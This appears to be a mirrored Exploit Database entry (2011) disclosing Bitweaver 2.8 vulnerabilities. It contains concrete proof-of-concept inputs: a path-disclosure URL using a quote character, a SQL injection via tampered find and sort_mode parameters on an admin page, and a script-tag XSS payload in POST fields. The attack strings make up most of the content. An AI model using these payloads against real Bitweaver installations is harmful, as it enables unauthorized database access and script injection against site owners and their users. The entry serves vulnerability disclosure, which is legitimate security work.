Bitweaver 2.8.0 – Multiple Vulnerabilities

• Exploit Database
• 109 阅读

• 作者： lemlajt
  日期： 2011-03-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16267/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

  # exploit title: Path Disclosure bitweaver 2.8 # date: 25.o2.2o11 # author: lemlajt # software : bitweaver # version: 2.8 # tested on: linux # cve : #   Path Disclosure bitweaver 2.8 PoC : http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/kernel/admin/index.php?page=%27   sql injection in bitweaver 2.8 PoC : 1. Goto: http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/quicktags/admin/admin_quicktags.php?format_guid=tikiwiki&sort_mode=tagpos_asc   2. Data Tamper: $find = &apos; sql $sort_mode = $format_guid = $list_page =     bonus: xss POST http://localhost/www/cmsadmins/bitweaver2.8.1/bitweaver/kernel/admin/index.php ? $liberty_textarea_height = "><...> $liberty_textarea_width = "><script>here</script>   # *